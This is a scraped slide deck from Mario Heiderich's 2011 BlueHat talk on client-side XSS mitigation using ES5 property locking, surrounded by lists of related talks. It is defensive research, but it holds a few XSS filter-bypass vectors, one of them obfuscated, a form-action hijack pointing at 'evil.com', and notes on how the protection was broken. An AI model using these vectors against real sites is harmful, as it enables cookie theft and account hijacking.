Locking the Throneroom 2.0

Mario Heiderich
Mario HeiderichSecurity Research / Penetration Testing
Locking the Throne Room
How ES5+ will change XSS and Client Side Security

         A presentation by Mario Heiderich
              BlueHat, Redmond 2011
Introduction
   Mario Heiderich
       Researcher and PhD student at the Ruhr-University,
        Bochum
       Security Researcher for SRLabs, Berlin
       Security Researcher for Deutsche Post AG, Bonn
       Published author and international speaker
       HTML5 Security Cheatsheet / H5SC
       PHPIDS Project
       Twitter @0x6D6172696F
First of all...

                    Buckle Up
         Take a deep breath
         A lot of content for a one hour talk
            We'll be defeating XSS here
Today's menu
   JavaScript and the DOM
   Cross Site Scripting today
       Current mitigation approaches
       A peek into the petri dishes of current development
   A different approach
       ES5 and XSS
   Some theory first
   And some horrific reality
   Future work
JavaScript and XSS
   Cross Site Scripting
       One site scripting another
       Early vectors abusing Iframes
       First published attacks in the late nineties
       Three four major variations
            Reflected XSS
            Persistent XSS
            DOM based XSS / DOMXSS
            Plug-in XSS
       Information theft and modification
       Impersonation and leverage of more complex attacks
XSS today
   An ancient and simple yet unsolved problem
       Complexity
       Browser bugs
       Insecure web applications
       Browser plug-ins
       Impedance mismatches
       Application layer mitigation concepts
       New features and spec drafts enabling 0-day attacks
   XSS is a user agent problem! Nothing else!
Mitigation History
   Server side
       Native runtime functions, strip_tags(), htmlentities(), etc.
       Runtime libraries and request validation
       External libraries filtering input and output
            HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML
            HTTPOnly cookies
   Client side protection mechanisms
       toStaticHTML() in IE8+ and NoScript
       IE8+ XSS filter and Webkit XSS Auditor
       Protective extensions such as NoScript, NotScripts
       Upcoming approaches such as CSP
Reliability?




  We broke every single one of them
          Numerous times

          And we enjoyed it – as we will in the future
Impedance mismatch
   Layer A is unaware of Layer B capabilities and flaws
       Layer A deploys the attack
       Layer B executes the exploit
   Case study:
       HTMLPurifier 4.1.1
       Server side HTML filter and XSS mitigation library
       Internet Explorer 8, CSS expressions and a parser bug

       <a style="background:url('/',!
        @x:expression(write(1))//)!'');"></a>
Ancient Goods
   HTML+TIME and behaviors

                 1;--<?f><l ₩ :!!:x
           /style=`b&#x5c;65h0061vIor/ĸ
    :url(#def&#x61ult#time2)ö/';'` ₩ /onbegin=
    &#x5bµ=u00&#054;1le&#114t&#40&#x31)&#x5d&#
                     x2f/&#xyŧ>


                http://html5sec.org/what?
Further vectors
   Plug-in based XSS
       Adobe Reader
       Java applets
       Flash player
       Quicktime videos
       SVG images
   Charset injection and content sniffing
       UTF-7 XSS, EBCDIC, MacFarsi, XSS via images
       Chameleon files, cross context scripting, local XSS
   DOMXSS
Quintessence
   Server side filtering of client side attacks
       Useful and stable for basic XSS protection
   Still not remotely sufficient
       Affected by charsets, impedance mismatches
       Subverted by browser bugs an parser errors
       Rendered useless by DOMXSS
       Bypassed via plug-in based XSS
       Helpless against attacks deployed from different servers
       Not suitable for what XSS has become
   The server cannot serve protection for the client
   And - where will the classic server be in five years?
Revisiting XSS
   XSS attacks target the client
   XSS attacks are being executed client side
   XSS attacks aim for client side data and control
   XSS attacks impersonate the user
   XSS is a client side problem
       Sometimes caused by server side vulnerabilities
       Sometimes caused by a wide range of problems
        transparent for the server
   Still we try to improve server side XSS filters
Idea
   Prevention against XSS in the DOM
   Capability based DOM security
   Inspired by HTTPOnly
       Cookies cannot be read by scripts anymore
       Why not changing document.cookie to do so
   JavaScript up to 1.8.5 enabled this
   Unfortunately Non-Standard
   Example →
__defineGetter__()
<script>
document.__defineGetter__('cookie', function(){
    alert('no cookie access!');
    return false;
});
</script>


…


<script>
    alert(document.cookie)
</script>
Problems
   Proprietary
   And not tamper resistant at all
       JavaScript supplies a delete operator
       Delete operations on DOM properties reset their state
       Getter definitions can simply be overwritten
   Object getters - invalid for DOM protection
    purposes
   Same for setters and overwritten methods
Bypass
<script>
document.__defineGetter__('cookie', function(){
    alert('no cookie access!');
    return false;
});
</script>
…
<script>
    delete document.cookie;
    alert(document.cookie)
</script>
Tamper Resistance
   First attempts down the prototype chain
       document.__proto__.__defineGetter__()
       Document.prototype
   Attempts to register delete event handlers
       Getter and setter definitions for the prototypes
       Setter protection for setters
       Recursion problems
       Interval based workarounds and race conditions
   JavaScript 1.8 unsuitable for DOM based XSS protection
ECMA Script 5
   Older user agents use JavaScript based on ES3
       Firefox 3
       Internet Explorer 8
       Opera 11
   The modern ones already ship ES5 compliance
       Google Chrome
       Safari 5+
       Firefox 4+
       Internet Explorer 9 and 10pp3
Object Extensions
   Many novelties in ECMA Script 5
   Relevance for client side XSS mitigation
       Object extensions such as
            Object.freeze() and Object.seal()
            Object.getOwnPropertyNames() - a lovely method!
            Object.defineProperty() / Object.defineProperties()
            Object.preventExtensions()
       Less relevant but still interesting
            Proxy Objects, useless since no host objects allowed...
            More meta-programming APIs
            Combinations with DOM Level 3 events
({}).defineProperty()
   Object.defineProperty() and ..Properties()
   Three parameters
       Parent object
       Child object to define
       Descriptor literal
   Descriptors allow to manipulate
       Get / Set behavior
       Value
       “Enumerability”
       “Writeability”
       “Configurability”
   Example →
Example

<script>
Object.defineProperty(document, 'cookie', {
   get: function(){return:false},
   set: function(){return:false},
   configurable:false
});
</script>

…

<script>
   delete document.cookie;
   alert(document.cookie);
</script>
configurable:false
   Setting “configurability” to false is final
       The object description is stronger than delete
       Prototype deletion has to effect
       Re-definition is not possible

   With this method call cookie access can be
    forbidden
       By the developer
       And by the attacker
Prohibition
   Regulating access in general
       Interesting to prevent cookie theft
       Other properties can be blocked too
       Method access and calls can be forbidden
       Methods can be changed completely
       Horizontal log can be added to any call, access and event
   That is for existing HTML elements as well
   Example →
Action Protection

<script>
var form = document.getElementById('form');
Object.defineProperty(form, 'action', {
   set: IDS_detectHijacking,
   get: IDS_detectStealing,
   configurable:false
});
</script>

…

<script>
   document.forms[0].action='//evil.com';
</script>
First Roundup
   Access prohibition might be effective
   Value and argument logging helps detecting attacks
   Possible IDS solutions are not affected by heavy string
    obfuscation
   No impedance mismatches
       Attacks are detected on they layer they target
       Parser errors do not have effect here
       No effective charset obfuscations
       Immune against plug-in-deployed scripting attacks
       Automatic quasi-normalization
   It's a blacklist though
Going Further
   No access prohibitions but RBAC via JavaScript
   Possible simplified protocol
       Let object A know about permitted accessors
       Let accessors of object A be checked by the getter/setter
       Let object A react depending on access validity
       Seal object A
       Execute application logic
       Strict policy based approach
   A shared secret between could strengthen the policy
   Example →
RBAC and IDS
<script>
Object.defineProperty(document, 'cookie', {
   set:RBAC_checkSetter(IDS_checkArguments()),
   get:RBAC_checkGetter(IDS_checkArguments())
   configurable:false
});


// identified via arguments.callee.caller
My.allowedMethod(document.cookie);
</script>

…

<script>
   alert(document.cookie)
</script>
Forced Introspection
   Existing properties can gain capabilities
       The added setter will know:
           Who attempts to set
           What value is being used
       The added getter will know:
           Who attempts to get
       An overwritten function will know:
           How the original function looked like
           Who calls the function
           What arguments are being used
   IDS and RBAC are possible
   Tamper resistance thanks to configurable:false
Case Study I
   Stanford JavaScript Crypto Library
   AES256, SHA256, HMAC and more in JavaScript
   „SJCL is secure“
   Not true from an XSS perspective
   Global variables
   Uses
       Math.floor(), Math.max(), Math.random()
       document.attachEvent(), native string methods etc.
       Any of which can be attacker controlled
   High impact vulnerabilities ahead...
Case Study II
   BeEF – Browser Exploitation Framework
   As seen some minutes ago ☺
   Uses global variables
       window.beef = BeefJS;
   Attacker could seal it with Object.defineProperty()
       Else the defender could “counterbeef” it
       BeEF XSS = Exploiting the exploiter
       Maybe a malformed UA string? Or host address?
Deployment
   Website owners should obey a new rule
   „The order of deployment is everything“
   As long as trusted content is being deployed first
       Object.defineProperty() can protect
       Sealing can be used for good
   The script deploying first controls the DOM
       Persistent, tamper resistant and transparent
   Self-defense is possible
   Example →
!defineProperty()
<html>
<head>
<script>
…
Object.defineProperty(Object, 'defineProperty' {
   value:[],
   configurable:false
});
</script>

…

<script>
   Object.defineProperty(window,'secret', {
      get:stealInfo
   }); // TypeError
</script>
Reflection
   Where are we now with ES5?
       Pro:
           We can fully restrict property and method access
           We have the foundation for a client side IDS and RBAC
           We can regulate Object access, extension and modification
           CSP and sand-boxed Iframes support this approach
       Contra:
           It's a blacklist
           Magic properties cause problems
           We need to prevent creation of a fresh DOM
           Right now the DOM sucks!
   Still we can approach XSS w/o any obfuscation
But now...




        Enough with the theory already!
Experimentation
   Publish a totally XSS-able website
           1st step: Attribute injections
           2nd step: Full HTML injections, implemented as crappily as possible
           No server filter at all
   Protect it with JavaScript only
   Block access to document.cookie
   Implement a safe getter
   Announce a challenge to break it
           Break→Score→Await Fix→Break→Score again
           Tough challenge→Evolutionary Result-Set→Extra Learning
Code Example
document.cookie = '123456-secret-123456';

(function(){
  var i,j,x,y; var c = document.cookie; var o = Object.defineProperty;
  document.cookie=null;
  o(MouseEvent.prototype, 'isTrusted', {configurable:false});
  o(document, 'cookie', {get:function()arguments.callee.caller===Safe.get ? c : null});

  x=Object.getOwnPropertyNames(window),x.push('HTMLHeadElement');
  for(i in x) {
    if(/^HTML/.test(x[i])) {
      for(j in y=['innerHTML', 'textContent', 'text']) {
        o(window[x[i]].prototype, y[j], {get: function() null})
      }
    }
  }
  for(i in x=['wholeText', 'nodeValue', 'data', 'text', 'textContent']) {
    o(Text.prototype, x[i], {get: function() null})
  }
})();
A Safe Getter?
var Safe = {};
Safe.get = function() {
  var e = arguments.callee.caller;
  if(e && e.arguments[0].type === 'click'
    && e.arguments[0].isTrusted === true) {
    return document.cookie
  }
  return null;
};
Object.freeze(Safe);


   Make sure it's a click
   Make really sure it's a click
   Make really sure it's a real click
   Look good, right?
Result
Evaluation by Penetration
       Turns out it's been all rubbish
       Code was broken 52 times
           Spoofing “real” clicks
           Overwriting frozen properties
           Using Iframes and data URIs
           Using XHR from within JavaScript and data URIs
           Finding leaking DOM properties
           Cloning content into textarea and reading the value
           Here's a full list
       Code was fixed successfully 52 times
           Remainder of an overall of zero “unfixable” bypasses?
           Well – almost. And depending on the user agent.
           IE? Yes sir! Firefox? Yes - kinda. Rest? Nope
Current State
   XSSMe¹ still online
       http://html5sec.org/xssme
   XSSMe² as well
       http://xssme.htm5sec.org/
   You are welcome to break it
   ~14.000 attempts to break it so far
       52 succeeded,
       52 were ultimately fixed! Thanks plaintext and createHTMLDocument()
   XSSMe³ / JSLR is available right now!
       http://www.businessinfo.co.uk/labs/jslr/jslr.php
       Hat-tips to Gareth Heyes
       ~8.000 attempts to break it – of which 15 succeeded (so far) and 14 were fixed
   And hopefully there is more to come
How's it done?
   XSSMe²
       Object.getOwnPropertyNames(window).concat(
          Object.getOwnPropertyNames(Window.prototype))
       document.write('<plaintext id=__doc>')
       document.implementation.createHTMLDocument()
   JSLR/XSSMe³
       All of the above
       Apply a random ID to any legitimate element
       Check against its existence
       Wrap JavaScript code in identifier blocks
       High security mode – server supported though
   Please, please try to break it!
So?
   Client-side, JavaScript only XSS protection is possible
   Is it elegant right now? Noope
   Does it work on all modern browsers? Almost! IE and FF doing great
   Is it feasible? Yes – but fragile
   More fragile than protection allotted over n layers? Noope



   What remains to be done?
   A small wish-list for the browser vendors!
   A possibility to make it work elegantly
Future Work I
   We need to fix the DOM
       Consistency please
       Higher prio for DOM bugs – they will be security bugs anyway soon!
   Specify a white-list based approach
   Fix and refine event handling and DOM properties
       DOMFrameContentLoaded
       Maybe DOMBeforeSubtreeModified?
       Maybe DOMBeforeInsertNode?
   The DOM needs more “trustability”
   Monitor and contribute to ES6 and ES7
   We need DOM Proxies!
Future Work II
   Talk to W3C people
       DOM Sandboxing kinda works – but that's about it
       Introduce the features we need to make it elegant
   Specify DOMInit, support its implementation
   Specify Object.intercept()
       White-list based DOM access and caller interception
       Details available soon. Or after a beer or two
   And finally?


   Please let's fix the Java Plugin! Really!
       This is sheer horror and breaks everything
       Anyone here from Oracle we could talk to?
Conclusion
   XSS remains undefeated - but lots'a steps forwards were made
   RIAs gain complexity and power, WDP and Win8
   Client-agnostic server side filters designed to fail

   Time for a new approach
   Still a lot of work to be done
   Client-side XSS protection and more is possible
       Just not the most elegant
       Still – compare 70 lines of JS to 12091 lines of PHP
   Let's get it done already
   Hard? Yes. No one said it'd be easy :)
Questions
   Thanks for your time!
   Discussion?

   Thanks for advice and contribution:
       G. Heyes, S. Di Paola, E. A. Vela Nava
       R. Shafigullin, J. Tyson, M. Kinugawa, N. Hippert, M. Nison, K. Kotowicz
       D. Ross and M. Caballero
       J. Wilander and M. Bergling
       J. Magazinius, Phung et al.
       All unmentioned contributors
1 of 47

Recommended

The Image that called me - Active Content Injection with SVG Files by
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesMario Heiderich
10.1K views29 slides
In the DOM, no one will hear you scream by
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you screamMario Heiderich
33.2K views60 slides
Scriptless Attacks - Stealing the Pie without touching the Sill by
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
45.7K views33 slides
An Abusive Relationship with AngularJS by
An Abusive Relationship with AngularJSAn Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSMario Heiderich
129.2K views66 slides
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks by
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
70.3K views56 slides
The innerHTML Apocalypse by
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML ApocalypseMario Heiderich
34.9K views51 slides

More Related Content

What's hot

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-... by
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
30.4K views55 slides
Node js overview by
Node js overviewNode js overview
Node js overviewEyal Vardi
1.5K views26 slides
OWASP SF - Reviewing Modern JavaScript Applications by
OWASP SF - Reviewing Modern JavaScript ApplicationsOWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript ApplicationsLewis Ardern
5.2K views44 slides
gRPC and Microservices by
gRPC and MicroservicesgRPC and Microservices
gRPC and MicroservicesJonathan Gomez
3.2K views22 slides
REST vs gRPC: Battle of API's by
REST vs gRPC: Battle of API'sREST vs gRPC: Battle of API's
REST vs gRPC: Battle of API'sLuram Archanjo
673 views37 slides
OpenAPI and gRPC Side by-Side by
OpenAPI and gRPC Side by-SideOpenAPI and gRPC Side by-Side
OpenAPI and gRPC Side by-SideTim Burks
2.9K views40 slides

What's hot(20)

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-... by Mario Heiderich
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Mario Heiderich30.4K views
Node js overview by Eyal Vardi
Node js overviewNode js overview
Node js overview
Eyal Vardi1.5K views
OWASP SF - Reviewing Modern JavaScript Applications by Lewis Ardern
OWASP SF - Reviewing Modern JavaScript ApplicationsOWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript Applications
Lewis Ardern5.2K views
REST vs gRPC: Battle of API's by Luram Archanjo
REST vs gRPC: Battle of API'sREST vs gRPC: Battle of API's
REST vs gRPC: Battle of API's
Luram Archanjo673 views
OpenAPI and gRPC Side by-Side by Tim Burks
OpenAPI and gRPC Side by-SideOpenAPI and gRPC Side by-Side
OpenAPI and gRPC Side by-Side
Tim Burks2.9K views
gRPC Design and Implementation by Varun Talwar
gRPC Design and ImplementationgRPC Design and Implementation
gRPC Design and Implementation
Varun Talwar10.6K views
Node.js Express by Eyal Vardi
Node.js  ExpressNode.js  Express
Node.js Express
Eyal Vardi4.8K views
Intro to Node.js (v1) by Chris Cowan
Intro to Node.js (v1)Intro to Node.js (v1)
Intro to Node.js (v1)
Chris Cowan1.5K views
Introduction to Linked Data 1/5 by Juan Sequeda
Introduction to Linked Data 1/5Introduction to Linked Data 1/5
Introduction to Linked Data 1/5
Juan Sequeda1.9K views
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter by Masato Kinugawa
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa38.8K views
JavaScript - An Introduction by Manvendra Singh
JavaScript - An IntroductionJavaScript - An Introduction
JavaScript - An Introduction
Manvendra Singh19.1K views
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015 by CODE BLUE
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
CODE BLUE6.5K views
Browser Automation with Playwright – for integration, RPA, UI testing and mor... by Lucas Jellema
Browser Automation with Playwright – for integration, RPA, UI testing and mor...Browser Automation with Playwright – for integration, RPA, UI testing and mor...
Browser Automation with Playwright – for integration, RPA, UI testing and mor...
Lucas Jellema1.4K views
Javascript by Nagarajan
JavascriptJavascript
Javascript
Nagarajan5.4K views

Similar to Locking the Throneroom 2.0

Locking the Throne Room - How ES5+ might change views on XSS and Client Side ... by
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Mario Heiderich
3.2K views40 slides
Cross site scripting by
Cross site scriptingCross site scripting
Cross site scriptingDilan Warnakulasooriya
1.1K views14 slides
Automated JavaScript Deobfuscation - PacSec 2007 by
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
1.5K views35 slides
The Future of Web Attacks - CONFidence 2010 by
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
2.9K views36 slides
XSS Primer - Noob to Pro in 1 hour by
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hoursnoopythesecuritydog
1.6K views37 slides
AJAX: How to Divert Threats by
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert ThreatsCenzic
1.3K views33 slides

Similar to Locking the Throneroom 2.0(20)

Locking the Throne Room - How ES5+ might change views on XSS and Client Side ... by Mario Heiderich
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Mario Heiderich3.2K views
Automated JavaScript Deobfuscation - PacSec 2007 by Stephan Chenette
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
Stephan Chenette1.5K views
The Future of Web Attacks - CONFidence 2010 by Mario Heiderich
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
Mario Heiderich2.9K views
AJAX: How to Divert Threats by Cenzic
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert Threats
Cenzic1.3K views
04. xss and encoding by Eoin Keary
04.  xss and encoding04.  xss and encoding
04. xss and encoding
Eoin Keary2K views
W3 conf hill-html5-security-realities by Brad Hill
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
Brad Hill10.4K views
Owasp top 10_openwest_2019 by Sean Jackson
Owasp top 10_openwest_2019Owasp top 10_openwest_2019
Owasp top 10_openwest_2019
Sean Jackson224 views
Security In PHP Applications by Aditya Mooley
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP Applications
Aditya Mooley1.7K views
Top Ten Tips For Tenacious Defense In Asp.Net by alsmola
Top Ten Tips For Tenacious Defense In Asp.NetTop Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.Net
alsmola2.6K views
Prevoty NYC Java SIG 20150730 by chadtindel
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
chadtindel784 views
Waf.js: How to Protect Web Applications using JavaScript by Denis Kolegov
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
Denis Kolegov21.4K views
Sandboxing JS and HTML. A lession Learned by Minded Security
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession Learned
Minded Security1.9K views
Cross Site Scripting Defense Presentation by Ikhade Maro Igbape
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape3.7K views

More from Mario Heiderich

Dev and Blind - Attacking the weakest Link in IT Security by
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityMario Heiderich
5.6K views39 slides
HTML5 - The Good, the Bad, the Ugly by
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyMario Heiderich
2K views22 slides
I thought you were my friend - Malicious Markup by
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupMario Heiderich
3.6K views65 slides
Web Wuermer by
Web WuermerWeb Wuermer
Web WuermerMario Heiderich
1.6K views46 slides
JavaScript From Hell - CONFidence 2.0 2009 by
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009Mario Heiderich
21.9K views39 slides
The Ultimate IDS Smackdown by
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS SmackdownMario Heiderich
1.7K views31 slides

More from Mario Heiderich(8)

Dev and Blind - Attacking the weakest Link in IT Security by Mario Heiderich
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT Security
Mario Heiderich5.6K views
HTML5 - The Good, the Bad, the Ugly by Mario Heiderich
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the Ugly
Mario Heiderich2K views
I thought you were my friend - Malicious Markup by Mario Heiderich
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious Markup
Mario Heiderich3.6K views
JavaScript From Hell - CONFidence 2.0 2009 by Mario Heiderich
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
Mario Heiderich21.9K views
I thought you were my friend! by Mario Heiderich
I thought you were my friend!I thought you were my friend!
I thought you were my friend!
Mario Heiderich1.7K views
Generic Attack Detection - ph-Neutral 0x7d8 by Mario Heiderich
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8
Mario Heiderich1.5K views

Recently uploaded

"Role of a CTO in software outsourcing company", Yuriy Nakonechnyy by
"Role of a CTO in software outsourcing company", Yuriy Nakonechnyy"Role of a CTO in software outsourcing company", Yuriy Nakonechnyy
"Role of a CTO in software outsourcing company", Yuriy NakonechnyyFwdays
40 views21 slides
Empathic Computing: Delivering the Potential of the Metaverse by
Empathic Computing: Delivering  the Potential of the MetaverseEmpathic Computing: Delivering  the Potential of the Metaverse
Empathic Computing: Delivering the Potential of the MetaverseMark Billinghurst
449 views80 slides
AMD: 4th Generation EPYC CXL Demo by
AMD: 4th Generation EPYC CXL DemoAMD: 4th Generation EPYC CXL Demo
AMD: 4th Generation EPYC CXL DemoCXL Forum
126 views6 slides
MemVerge: Memory Viewer Software by
MemVerge: Memory Viewer SoftwareMemVerge: Memory Viewer Software
MemVerge: Memory Viewer SoftwareCXL Forum
118 views10 slides
MemVerge: Gismo (Global IO-free Shared Memory Objects) by
MemVerge: Gismo (Global IO-free Shared Memory Objects)MemVerge: Gismo (Global IO-free Shared Memory Objects)
MemVerge: Gismo (Global IO-free Shared Memory Objects)CXL Forum
112 views16 slides
Java Platform Approach 1.0 - Picnic Meetup by
Java Platform Approach 1.0 - Picnic MeetupJava Platform Approach 1.0 - Picnic Meetup
Java Platform Approach 1.0 - Picnic MeetupRick Ossendrijver
25 views39 slides

Recently uploaded(20)

"Role of a CTO in software outsourcing company", Yuriy Nakonechnyy by Fwdays
"Role of a CTO in software outsourcing company", Yuriy Nakonechnyy"Role of a CTO in software outsourcing company", Yuriy Nakonechnyy
"Role of a CTO in software outsourcing company", Yuriy Nakonechnyy
Fwdays40 views
Empathic Computing: Delivering the Potential of the Metaverse by Mark Billinghurst
Empathic Computing: Delivering  the Potential of the MetaverseEmpathic Computing: Delivering  the Potential of the Metaverse
Empathic Computing: Delivering the Potential of the Metaverse
Mark Billinghurst449 views
AMD: 4th Generation EPYC CXL Demo by CXL Forum
AMD: 4th Generation EPYC CXL DemoAMD: 4th Generation EPYC CXL Demo
AMD: 4th Generation EPYC CXL Demo
CXL Forum126 views
MemVerge: Memory Viewer Software by CXL Forum
MemVerge: Memory Viewer SoftwareMemVerge: Memory Viewer Software
MemVerge: Memory Viewer Software
CXL Forum118 views
MemVerge: Gismo (Global IO-free Shared Memory Objects) by CXL Forum
MemVerge: Gismo (Global IO-free Shared Memory Objects)MemVerge: Gismo (Global IO-free Shared Memory Objects)
MemVerge: Gismo (Global IO-free Shared Memory Objects)
CXL Forum112 views
Combining Orchestration and Choreography for a Clean Architecture by ThomasHeinrichs1
Combining Orchestration and Choreography for a Clean ArchitectureCombining Orchestration and Choreography for a Clean Architecture
Combining Orchestration and Choreography for a Clean Architecture
ThomasHeinrichs168 views
Micron CXL product and architecture update by CXL Forum
Micron CXL product and architecture updateMicron CXL product and architecture update
Micron CXL product and architecture update
CXL Forum27 views
Future of Learning - Khoong Chan Meng by NUS-ISS
Future of Learning - Khoong Chan MengFuture of Learning - Khoong Chan Meng
Future of Learning - Khoong Chan Meng
NUS-ISS31 views
Microchip: CXL Use Cases and Enabling Ecosystem by CXL Forum
Microchip: CXL Use Cases and Enabling EcosystemMicrochip: CXL Use Cases and Enabling Ecosystem
Microchip: CXL Use Cases and Enabling Ecosystem
CXL Forum129 views
[2023] Putting the R! in R&D.pdf by Eleanor McHugh
[2023] Putting the R! in R&D.pdf[2023] Putting the R! in R&D.pdf
[2023] Putting the R! in R&D.pdf
Eleanor McHugh38 views
GigaIO: The March of Composability Onward to Memory with CXL by CXL Forum
GigaIO: The March of Composability Onward to Memory with CXLGigaIO: The March of Composability Onward to Memory with CXL
GigaIO: The March of Composability Onward to Memory with CXL
CXL Forum126 views
AI: mind, matter, meaning, metaphors, being, becoming, life values by Twain Liu 刘秋艳
AI: mind, matter, meaning, metaphors, being, becoming, life valuesAI: mind, matter, meaning, metaphors, being, becoming, life values
AI: mind, matter, meaning, metaphors, being, becoming, life values
"AI Startup Growth from Idea to 1M ARR", Oleksandr Uspenskyi by Fwdays
"AI Startup Growth from Idea to 1M ARR", Oleksandr Uspenskyi"AI Startup Growth from Idea to 1M ARR", Oleksandr Uspenskyi
"AI Startup Growth from Idea to 1M ARR", Oleksandr Uspenskyi
Fwdays26 views
Spesifikasi Lengkap ASUS Vivobook Go 14 by Dot Semarang
Spesifikasi Lengkap ASUS Vivobook Go 14Spesifikasi Lengkap ASUS Vivobook Go 14
Spesifikasi Lengkap ASUS Vivobook Go 14
Dot Semarang35 views
The Importance of Cybersecurity for Digital Transformation by NUS-ISS
The Importance of Cybersecurity for Digital TransformationThe Importance of Cybersecurity for Digital Transformation
The Importance of Cybersecurity for Digital Transformation
NUS-ISS25 views
MemVerge: Past Present and Future of CXL by CXL Forum
MemVerge: Past Present and Future of CXLMemVerge: Past Present and Future of CXL
MemVerge: Past Present and Future of CXL
CXL Forum110 views
Photowave Presentation Slides - 11.8.23.pptx by CXL Forum
Photowave Presentation Slides - 11.8.23.pptxPhotowave Presentation Slides - 11.8.23.pptx
Photowave Presentation Slides - 11.8.23.pptx
CXL Forum126 views
"Fast Start to Building on AWS", Igor Ivaniuk by Fwdays
"Fast Start to Building on AWS", Igor Ivaniuk"Fast Start to Building on AWS", Igor Ivaniuk
"Fast Start to Building on AWS", Igor Ivaniuk
Fwdays36 views

Locking the Throneroom 2.0

  • 1. Locking the Throne Room How ES5+ will change XSS and Client Side Security A presentation by Mario Heiderich BlueHat, Redmond 2011
  • 2. Introduction  Mario Heiderich  Researcher and PhD student at the Ruhr-University, Bochum  Security Researcher for SRLabs, Berlin  Security Researcher for Deutsche Post AG, Bonn  Published author and international speaker  HTML5 Security Cheatsheet / H5SC  PHPIDS Project  Twitter @0x6D6172696F
  • 3. First of all... Buckle Up Take a deep breath A lot of content for a one hour talk We'll be defeating XSS here
  • 4. Today's menu  JavaScript and the DOM  Cross Site Scripting today  Current mitigation approaches  A peek into the petri dishes of current development  A different approach  ES5 and XSS  Some theory first  And some horrific reality  Future work
